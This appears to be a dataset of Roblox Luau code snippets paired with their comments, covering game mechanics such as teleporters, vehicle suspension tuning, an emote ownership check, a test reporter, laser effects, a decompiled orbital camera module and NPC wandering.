SuppressCalloutChance = 0;
|
--ChopperSwitch |
function KeepChopperActive()
repeat wait()
ChopperVal.Value = true
until ChopperSwch.Value == false or Power.Value == false
ChopperVal.Value = false
end
ChopperSwch.Changed:Connect(function()
if ChopperSwch.Value == true then
ChopperSwch.Parent.P1.Transparency = 1
ChopperSwch.Parent.P2.Transparency = 0
ClickSound:Play()
if Power.Value == true then
KeepChopperActive()
end
else
ChopperSwch.Parent.P1.Transparency = 0
ChopperSwch.Parent.P2.Transparency = 1
ClickSound:Play()
ChopperVal.Value = false
end
end)
|
--wait(0.6)
--Lights.BrickColor = BrickColor.new("Really black")
--wait(3.9) |
script.Disabled = true
|
------------------------------------ |
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
local teleportfrom=script.Parent.Enabled.Value
if teleportfrom~=0 then
if h==humanoid then
return
end
local teleportto=script.Parent.Parent:findFirstChild(modelname)
if teleportto~=nil then
local head = h.Parent.Head
local location = {teleportto.Position}
local i = 1
local x = location[i].x
local y = location[i].y
local z = location[i].z
x = x + math.random(-1, 1)
z = z + math.random(-1, 1)
y = y + math.random(2, 3)
local cf = head.CFrame
local lx = 0
local ly = y
local lz = 0
script.Parent.Enabled.Value=0
teleportto.Enabled.Value=0
head.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
wait(3)
script.Parent.Enabled.Value=1
teleportto.Enabled.Value=1
else
print("Could not find teleporter!")
end
end
end
end
end
script.Parent.Touched:connect(onTouched)
|
--------RIGHT DOOR -------- |
game.Workspace.doorright.l11.BrickColor = BrickColor.new(133)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(133)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(133)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(133)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(133)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(133)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(133)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(133)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(133)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(21)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(106) |
-- move the shelly to the newfound goal |
bg.CFrame = CFrame.new(shelly.PrimaryPart.Position,goal)
bp.Position = (CFrame.new(shelly.PrimaryPart.Position,goal)*CFrame.new(0,0,-100)).p
local start = tick()
repeat task.wait(1/2)
local ray = Ray.new(shelly.PrimaryPart.Position,Vector3.new(0,-1000,0)) |
--// Variables |
local Player = game.Players.LocalPlayer
local Frame = script.Parent
local BUYB = Frame.BUY
local Price = Frame.Price
|
--[[
Determines which paid emotes the user owns and returns them through the
provided callback
Parameters:
player - the player used to check ownership
callback - the function to call once all paid emotes have been checked
]] |
function EmoteManager:getOwnedEmotesAsync(player, callback)
local ownedEmotes = {}
local numComplete = 0
local numEmotes = 0
-- Since paidEmotes is a dictionary, we have to loop over it to count the items
for _ in pairs(paidEmotes) do
numEmotes = numEmotes + 1
end
for emoteName, emoteInfo in pairs(paidEmotes) do
task.spawn(function()
local success, ownsEmote = pcall(function()
return self.MarketplaceService:PlayerOwnsAsset(player, emoteInfo.emote)
end)
if success and ownsEmote then
ownedEmotes[emoteName] = emoteInfo
end
numComplete = numComplete + 1
if numComplete == numEmotes then
callback(ownedEmotes)
end
end)
end
end
|
-- When the player gets closer than WAVE_THRESHOLD, NPC will wave.
-- Will not wave again until the player goes outside of WAVE_THRESHOLD again. |
local WAVE_THRESHOLD = 20 -- studs
local WAVE_DEBOUNCE_TIME = 3 -- seconds
|
--tables
--functions
--main |
while true do --loop
local selectedcolor = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
for i,v in pairs(tiles) do --go through all tiles inside of model
if v.Name == "tile" then --if name is tile then continue
v.Color = selectedcolor
end
end
wait(speed) --do not remove this
end
|
--Precalculated paths |
local t,f,n=true,false,{}
local r={
[58]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58},t},
[49]={{54,53,52,47,48,49},t},
[16]={n,f},
[19]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19},t},
[59]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,59},t},
[63]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t},
[34]={{54,53,52,47,48,49,45,44,28,29,31,32,34},t},
[21]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21},t},
[48]={{54,53,52,47,48},t},
[27]={{54,53,52,47,48,49,45,44,28,27},t},
[14]={n,f},
[31]={{54,53,52,47,48,49,45,44,28,29,31},t},
[56]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56},t},
[29]={{54,53,52,47,48,49,45,44,28,29},t},
[13]={n,f},
[47]={{54,53,52,47},t},
[12]={n,f},
[45]={{54,53,52,47,48,49,45},t},
[57]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,57},t},
[36]={{54,53,52,47,48,49,45,44,28,29,31,32,33,36},t},
[25]={{54,53,52,47,48,49,45,44,28,27,26,25},t},
[71]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71},t},
[20]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20},t},
[60]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t},
[74]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{54,53,52,47,48,49,45,44,28,29,31,32,33,36,37},t},
[2]={n,f},
[35]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35},t},
[53]={{54,53},t},
[73]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t},
[72]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72},t},
[33]={{54,53,52,47,48,49,45,44,28,29,31,32,33},t},
[69]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,60,69},t},
[65]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{54,53,52,47,48,49,45,44,28,27,26},t},
[68]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76},t},
[50]={{54,53,52,50},t},
[66]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{54,53,52,47,48,49,45,44,28,27,26,25,24},t},
[23]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23},t},
[44]={{54,53,52,47,48,49,45,44},t},
[39]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39},t},
[32]={{54,53,52,47,48,49,45,44,28,29,31,32},t},
[3]={n,f},
[30]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30},t},
[51]={{54,55,51},t},
[18]={n,f},
[67]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61},t},
[55]={{54,55},t},
[46]={{54,53,52,47,46},t},
[42]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,38,42},t},
[40]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,40},t},
[52]={{54,53,52},t},
[54]={{54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41},t},
[17]={n,f},
[38]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,38},t},
[28]={{54,53,52,47,48,49,45,44,28},t},
[5]={n,f},
[64]={{54,53,52,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
--[[Susupension]] |
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 12000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .15 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 12000 -- Spring Force
Tune.FAntiRoll = 30 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .09 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--[[**
ensure value is an Instance and it's ClassName matches the given ClassName by an IsA comparison
@param className The class name to check for
@returns A function that will return true iff the condition is passed
**--]] |
function t.instanceIsA(className)
assert(t.string(className))
return function(value)
local instanceSuccess, instanceErrMsg = t.Instance(value)
if not instanceSuccess then
return false, instanceErrMsg or ""
end
if not value:IsA(className) then
return false, string.format("%s expected, got %s", className, value.ClassName)
end
return true
end
end
|
-- Signal class |
local Signal = {}
Signal.__index = Signal
function Signal.new(createConnectionsChangedSignal)
local self = setmetatable({
_handlerListHead = false,
}, Signal)
if createConnectionsChangedSignal then
self.totalConnections = 0
self.connectionsChanged = Signal.new()
end
return self
end
function Signal:Connect(fn)
local connection = Connection.new(self, fn)
if self._handlerListHead then
connection._next = self._handlerListHead
self._handlerListHead = connection
else
self._handlerListHead = connection
end
if self.connectionsChanged then
self.totalConnections += 1
self.connectionsChanged:Fire(1)
end
return connection
end
|
--[[
Copy of TextReporter that doesn't output successful tests.
This should be temporary, it's just a workaround to make CI environments
happy in the short-term.
]] |
local TestService = game:GetService("TestService")
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent.Parent
local success, JestMatcherUtils = pcall(function()
return require(Packages.JestMatcherUtils)
end)
local EXPECTED_COLOR = success and JestMatcherUtils.EXPECTED_COLOR or function() end
local RECEIVED_COLOR = success and JestMatcherUtils.RECEIVED_COLOR or function() end
local BOLD_WEIGHT = success and JestMatcherUtils.BOLD_WEIGHT or function() end
local DIM_COLOR = success and JestMatcherUtils.DIM_COLOR or function() end
local TestEnum = require(script.Parent.Parent.TestEnum)
local INDENT = (" "):rep(3)
local STATUS_SYMBOLS = {
[TestEnum.TestStatus.Success] = EXPECTED_COLOR("+"),
[TestEnum.TestStatus.Failure] = RECEIVED_COLOR("-"),
[TestEnum.TestStatus.Skipped] = DIM_COLOR("~"),
}
local UNKNOWN_STATUS_SYMBOL = "?"
local TextReporterQuiet = {}
local function reportNode(node, buffer, level)
buffer = buffer or {}
level = level or 0
if node.status == TestEnum.TestStatus.Skipped then
return buffer
end
local line
if node.status ~= TestEnum.TestStatus.Success then
local symbol = STATUS_SYMBOLS[node.status] or UNKNOWN_STATUS_SYMBOL
line = ("%s[%s] %s"):format(INDENT:rep(level), symbol, node.planNode.phrase)
end
table.insert(buffer, line)
for _, child in ipairs(node.children) do
reportNode(child, buffer, level + 1)
end
return buffer
end
local function reportRoot(node)
local buffer = {}
for _, child in ipairs(node.children) do
reportNode(child, buffer, 0)
end
return buffer
end
local function report(root)
local buffer = reportRoot(root)
return table.concat(buffer, "\n")
end
function TextReporterQuiet.report(results)
local resultBuffer = {
"Test results:",
report(results),
("%d passed, %d failed, %d skipped"):format(results.successCount, results.failureCount, results.skippedCount),
}
print(table.concat(resultBuffer, "\n"))
if results.failureCount > 0 then
print(("%d test nodes reported failures."):format(results.failureCount))
end
if #results.errors > 0 then
print("Errors reported by tests:")
print("")
for _, e in ipairs(results.errors) do
print(BOLD_WEIGHT(RECEIVED_COLOR("• " .. e.phrase)))
print("")
TestService:Error(e.message)
-- Insert a blank line after each error
print("")
end
end
end
return TextReporterQuiet
|
--[[ Constants ]] | --
local TOUCH_CONTROL_SHEET = "rbxasset://textures/ui/TouchControlsSheet.png"
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
-- Place this into StarterGui or StarterPack --
-- CREDIT --
-- WhoBloxxedWho; for the initial script --
-- DoogleFox; some stuff ripped from his panner script --
-- DuruTeru; shoving it all into this script and then some :) --
-- UPDATE: turned it into r15, made it so you can swim right in water --
-- Jan 07, 2017 --
-- UPDATE: added walkspeed easing directionally, also adding running --
-- Nov 13, 2020 --
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | |
--Made by Luckymaxer |
Debris = game:GetService("Debris")
Camera = game:GetService("Workspace").CurrentCamera
Sounds = {
RayHit = script:WaitForChild("Hit")
}
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
BaseRay = BasePart:Clone()
BaseRay.Name = "Laser"
BaseRay.BrickColor = BrickColor.new("Lime green")
BaseRay.Material = Enum.Material.SmoothPlastic
BaseRay.Size = Vector3.new(0.2, 0.2, 0.2)
BaseRay.Anchored = true
BaseRay.CanCollide = false
BaseRayMesh = Instance.new("SpecialMesh")
BaseRayMesh.Name = "Mesh"
BaseRayMesh.MeshType = Enum.MeshType.Brick
BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1)
BaseRayMesh.Offset = Vector3.new(0, 0, 0)
BaseRayMesh.VertexColor = Vector3.new(1, 1, 1)
BaseRayMesh.Parent = BaseRay
function PlaySound(Position, Sound)
local SoundPart = BasePart:Clone()
SoundPart.Name = "ParticlePart"
SoundPart.Transparency = 1
SoundPart.Anchored = true
SoundPart.CanCollide = false
local SoundObject = Sound:Clone()
SoundObject.Parent = SoundPart
Debris:AddItem(SoundPart, 1.5)
SoundPart.Parent = game:GetService("Workspace")
SoundPart.CFrame = CFrame.new(Position)
SoundObject:Play()
end
function FireRay(StartPosition, TargetPosition, Hit)
local Vec = (TargetPosition - StartPosition)
local Distance = Vec.magnitude
local Direction = Vec.unit
local PX = (StartPosition + (0.25 * Distance) * Direction)
local PY = (StartPosition + (0.5 * Distance) * Direction)
local PZ = (StartPosition + (0.75 * Distance) * Direction)
local DX = (StartPosition - PX).magnitude
local DY = (PX - PY).magnitude
local DZ = (PY - PZ).magnitude
local Limit = 2
local AX = (PX + Vector3.new(math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX))),math.random(math.max(-Limit, (-0.21 * DX)),math.min(Limit, (0.21 * DX))), math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX)))))
local AY = (PY + Vector3.new(math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY))),math.random(math.max(-Limit, (-0.21 * DY)),math.min(Limit, (0.21 * DY))), math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY)))))
local AZ = (PZ + Vector3.new(math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ))),math.random(math.max(-Limit, (-0.21 * DZ)),math.min(Limit, (0.21 * DZ))), math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ)))))
local Rays = {
{Distance = (AX - StartPosition).magnitude, Direction = CFrame.new(StartPosition, AX)},
{Distance = (AY - AX).magnitude, Direction = CFrame.new(AX, AY)},
{Distance = (AZ - AY).magnitude, Direction = CFrame.new(AY, AZ)},
{Distance = (TargetPosition - AZ).magnitude, Direction = CFrame.new(AZ, TargetPosition)},
}
for i, v in pairs(Rays) do
local Ray = BaseRay:Clone()
Ray.BrickColor = BrickColor.new("New Yeller")
Ray.Reflectance = 0.4
Ray.Transparency = 0.7
local Mesh = Ray.Mesh
Mesh.Scale = (Vector3.new(0.15, 0.15, (v.Distance / 1)) * 5)
Ray.CFrame = (v.Direction * CFrame.new(0, 0, (-0.5 * v.Distance)))
Debris:AddItem(Ray, (0.1 / (#Rays - (i - 1))))
Ray.Parent = Camera
end
end
pcall(function()
local StartPosition = script:WaitForChild("StartPosition").Value
local TargetPosition = script:WaitForChild("TargetPosition").Value
local RayHit = script:WaitForChild("RayHit").Value
FireRay(StartPosition, TargetPosition)
if RayHit then
PlaySound(TargetPosition, Sounds.RayHit)
end
end)
Debris:AddItem(script, 1)
|
--[[
Подготовительный скрипт - распихивает скрипты по моделям в точках финиша
]] |
local RebuildWorld = 300 -- период пересоздания игрового мира
local PartWorld = script.Parts.Value -- число блоков в мире
|
--- Hides Cmdr window |
function Cmdr:Hide ()
Interface.Window:Hide()
end
|
------//Patrol Animations |
self.RightPatrol = CFrame.new(-1, 1.5, -0.45) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0));
self.LeftPatrol = CFrame.new(1,1.35,-0.75) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25));
|
--- Player joined |
game.Players.PlayerAdded:Connect(function(player)
--- Check for new gamepasses
CheckPlayer(player)
end)
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = Vector3.new(0, 0, 1);
local v2 = {
InitialDistance = 25,
MinDistance = 10,
MaxDistance = 100,
InitialElevation = 35,
MinElevation = 35,
MaxElevation = 35,
ReferenceAzimuth = -45,
CWAzimuthTravel = 90,
CCWAzimuthTravel = 90,
UseAzimuthLimits = false
};
local v3 = require(script.Parent:WaitForChild("BaseCamera"));
local v4 = setmetatable({}, v3);
v4.__index = v4;
function v4.new()
local v5 = setmetatable(v3.new(), v4);
v5.lastUpdate = tick();
v5.changedSignalConnections = {};
v5.refAzimuthRad = nil;
v5.curAzimuthRad = nil;
v5.minAzimuthAbsoluteRad = nil;
v5.maxAzimuthAbsoluteRad = nil;
v5.useAzimuthLimits = nil;
v5.curElevationRad = nil;
v5.minElevationRad = nil;
v5.maxElevationRad = nil;
v5.curDistance = nil;
v5.minDistance = nil;
v5.maxDistance = nil;
v5.gamepadDollySpeedMultiplier = 1;
v5.lastUserPanCamera = tick();
v5.externalProperties = {};
v5.externalProperties.InitialDistance = 25;
v5.externalProperties.MinDistance = 10;
v5.externalProperties.MaxDistance = 100;
v5.externalProperties.InitialElevation = 35;
v5.externalProperties.MinElevation = 35;
v5.externalProperties.MaxElevation = 35;
v5.externalProperties.ReferenceAzimuth = -45;
v5.externalProperties.CWAzimuthTravel = 90;
v5.externalProperties.CCWAzimuthTravel = 90;
v5.externalProperties.UseAzimuthLimits = false;
v5:LoadNumberValueParameters();
return v5;
end;
function v4.LoadOrCreateNumberValueParameter(p1, p2, p3, p4)
local v6 = script:FindFirstChild(p2);
if v6 and v6:isA(p3) then
p1.externalProperties[p2] = v6.Value;
else
if p1.externalProperties[p2] == nil then
return;
end;
v6 = Instance.new(p3);
v6.Name = p2;
v6.Parent = script;
v6.Value = p1.externalProperties[p2];
end;
if p4 then
if p1.changedSignalConnections[p2] then
p1.changedSignalConnections[p2]:Disconnect();
end;
p1.changedSignalConnections[p2] = v6.Changed:Connect(function(p5)
p1.externalProperties[p2] = p5;
p4(p1);
end);
end;
end;
function v4.SetAndBoundsCheckAzimuthValues(p6)
p6.minAzimuthAbsoluteRad = math.rad(p6.externalProperties.ReferenceAzimuth) - math.abs(math.rad(p6.externalProperties.CWAzimuthTravel));
p6.maxAzimuthAbsoluteRad = math.rad(p6.externalProperties.ReferenceAzimuth) + math.abs(math.rad(p6.externalProperties.CCWAzimuthTravel));
p6.useAzimuthLimits = p6.externalProperties.UseAzimuthLimits;
if p6.useAzimuthLimits then
p6.curAzimuthRad = math.max(p6.curAzimuthRad, p6.minAzimuthAbsoluteRad);
p6.curAzimuthRad = math.min(p6.curAzimuthRad, p6.maxAzimuthAbsoluteRad);
end;
end;
function v4.SetAndBoundsCheckElevationValues(p7)
local v7 = math.max(p7.externalProperties.MinElevation, -80);
local v8 = math.min(p7.externalProperties.MaxElevation, 80);
p7.minElevationRad = math.rad(math.min(v7, v8));
p7.maxElevationRad = math.rad(math.max(v7, v8));
p7.curElevationRad = math.max(p7.curElevationRad, p7.minElevationRad);
p7.curElevationRad = math.min(p7.curElevationRad, p7.maxElevationRad);
end;
function v4.SetAndBoundsCheckDistanceValues(p8)
p8.minDistance = p8.externalProperties.MinDistance;
p8.maxDistance = p8.externalProperties.MaxDistance;
p8.curDistance = math.max(p8.curDistance, p8.minDistance);
p8.curDistance = math.min(p8.curDistance, p8.maxDistance);
end;
function v4.LoadNumberValueParameters(p9)
p9:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil);
p9:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil);
p9:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", p9.SetAndBoundsCheckAzimuthValue);
p9:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", p9.SetAndBoundsCheckAzimuthValues);
p9:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", p9.SetAndBoundsCheckAzimuthValues);
p9:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", p9.SetAndBoundsCheckElevationValues);
p9:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", p9.SetAndBoundsCheckElevationValues);
p9:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", p9.SetAndBoundsCheckDistanceValues);
p9:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", p9.SetAndBoundsCheckDistanceValues);
p9:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", p9.SetAndBoundsCheckAzimuthValues);
p9.curAzimuthRad = math.rad(p9.externalProperties.ReferenceAzimuth);
p9.curElevationRad = math.rad(p9.externalProperties.InitialElevation);
p9.curDistance = p9.externalProperties.InitialDistance;
p9:SetAndBoundsCheckAzimuthValues();
p9:SetAndBoundsCheckElevationValues();
p9:SetAndBoundsCheckDistanceValues();
end;
function v4.GetModuleName(p10)
return "OrbitalCamera";
end;
local u1 = require(script.Parent:WaitForChild("CameraUtils"));
function v4.SetInitialOrientation(p11, p12)
if not p12 or not p12.RootPart then
warn("OrbitalCamera could not set initial orientation due to missing humanoid");
return;
end;
assert(p12.RootPart, "");
local l__Unit__9 = (p12.RootPart.CFrame.LookVector - Vector3.new(0, 0.23, 0)).Unit;
if not u1.IsFinite((u1.GetAngleBetweenXZVectors(l__Unit__9, p11:GetCameraLookVector()))) then
end;
if not u1.IsFinite(math.asin(p11:GetCameraLookVector().Y) - math.asin(l__Unit__9.Y)) then
end;
end;
function v4.GetCameraToSubjectDistance(p13)
return p13.curDistance;
end;
local l__Players__2 = game:GetService("Players");
function v4.SetCameraToSubjectDistance(p14, p15)
if l__Players__2.LocalPlayer then
p14.currentSubjectDistance = math.clamp(p15, p14.minDistance, p14.maxDistance);
p14.currentSubjectDistance = math.max(p14.currentSubjectDistance, p14.FIRST_PERSON_DISTANCE_THRESHOLD);
end;
p14.inFirstPerson = false;
p14:UpdateMouseBehavior();
return p14.currentSubjectDistance;
end;
local u3 = Vector3.new(0, 0, 0);
function v4.CalculateNewLookVector(p16, p17, p18)
local v10 = p17 or p16:GetCameraLookVector();
local v11 = math.asin(v10.Y);
local v12 = Vector2.new(p18.X, (math.clamp(p18.Y, v11 - 1.3962634015954636, v11 - -1.3962634015954636)));
return (CFrame.Angles(0, -v12.X, 0) * CFrame.new(u3, v10) * CFrame.Angles(-v12.Y, 0, 0)).LookVector;
end;
local u4 = require(script.Parent:WaitForChild("CameraInput"));
local l__VRService__5 = game:GetService("VRService");
local u6 = Vector3.new(1, 0, 1);
local u7 = 2 * math.pi;
function v4.Update(p19, p20)
local v13 = tick();
local v14 = v13 - p19.lastUpdate;
local v15 = u4.getRotation() ~= Vector2.new();
local l__CurrentCamera__16 = workspace.CurrentCamera;
local v17 = l__CurrentCamera__16.CFrame;
local l__Focus__18 = l__CurrentCamera__16.Focus;
local v19 = l__CurrentCamera__16 and l__CurrentCamera__16.CameraSubject;
local v20 = v19 and v19:IsA("VehicleSeat");
local v21 = v19 and v19:IsA("SkateboardPlatform");
if p19.lastUpdate == nil or v14 > 1 then
p19.lastCameraTransform = nil;
end;
if v15 then
p19.lastUserPanCamera = tick();
end;
local v22 = p19:GetSubjectPosition();
if v22 and l__Players__2.LocalPlayer and l__CurrentCamera__16 then
if p19.gamepadDollySpeedMultiplier ~= 1 then
p19:SetCameraToSubjectDistance(p19.currentSubjectDistance * p19.gamepadDollySpeedMultiplier);
end;
local l__VREnabled__23 = l__VRService__5.VREnabled;
local v24 = l__VREnabled__23 and p19:GetVRFocus(v22, v14) or CFrame.new(v22);
local v25 = u4.getRotation();
if l__VREnabled__23 and not p19:IsInFirstPerson() then
local v26 = p19:GetCameraHeight();
local v27 = v22 - l__CurrentCamera__16.CFrame.p;
local l__Magnitude__28 = v27.Magnitude;
if p19.currentSubjectDistance < l__Magnitude__28 or v25.X ~= 0 then
local v29 = p19:CalculateNewLookVector(v27.Unit * u6, Vector2.new(v25.X, 0)) * math.min(l__Magnitude__28, p19.currentSubjectDistance);
local v30 = v24.p - v29;
local v31 = l__CurrentCamera__16.CFrame.LookVector;
if v25.X ~= 0 then
v31 = v29;
end;
v17 = CFrame.new(v30, (Vector3.new(v30.X + v31.X, v30.Y, v30.Z + v31.Z))) + Vector3.new(0, v26, 0);
end;
else
p19.curAzimuthRad = p19.curAzimuthRad - v25.X;
if p19.useAzimuthLimits then
p19.curAzimuthRad = math.clamp(p19.curAzimuthRad, p19.minAzimuthAbsoluteRad, p19.maxAzimuthAbsoluteRad);
else
p19.curAzimuthRad = p19.curAzimuthRad ~= 0 and math.sign(p19.curAzimuthRad) * (math.abs(p19.curAzimuthRad) % u7) or 0;
end;
p19.curElevationRad = math.clamp(p19.curElevationRad + v25.Y, p19.minElevationRad, p19.maxElevationRad);
v17 = CFrame.new(v22 + p19.currentSubjectDistance * (CFrame.fromEulerAnglesYXZ(-p19.curElevationRad, p19.curAzimuthRad, 0) * v1), v22);
end;
p19.lastCameraTransform = v17;
p19.lastCameraFocus = l__Focus__18;
if (v20 or v21) and v19:IsA("BasePart") then
p19.lastSubjectCFrame = v19.CFrame;
else
p19.lastSubjectCFrame = nil;
end;
end;
p19.lastUpdate = v13;
return v17, l__Focus__18;
end;
return v4;
|
-- Recoil related functions |
function ShoulderCamera:setCurrentRecoilIntensity(x, y)
self.currentRecoil = Vector2.new(x, y)
end
function ShoulderCamera:addRecoil(recoilAmount)
self.currentRecoil = self.currentRecoil + recoilAmount
end
|
-----------------
--| Variables |--
----------------- |
local GamePassService = Game:GetService('GamePassService')
local PlayersService = Game:GetService('Players')
local LightingService = Game:GetService('Lighting') --TODO: Use new data store service once that exists
local GamePassIdObject = WaitForChild(script, 'GamePassId')
local AdminTools = WaitForChild(LightingService, 'AdminTools')
|
-- no touchy |
local path
local waypoint
local oldpoints
local isWandering = 0
if canWander then
spawn(function()
while isWandering == 0 do
isWandering = 1
local desgx, desgz = hroot.Position.x + math.random(-WanderX, WanderX), hroot.Position.z + math.random(-WanderZ, WanderZ)
human:MoveTo( Vector3.new(desgx, 0, desgz) )
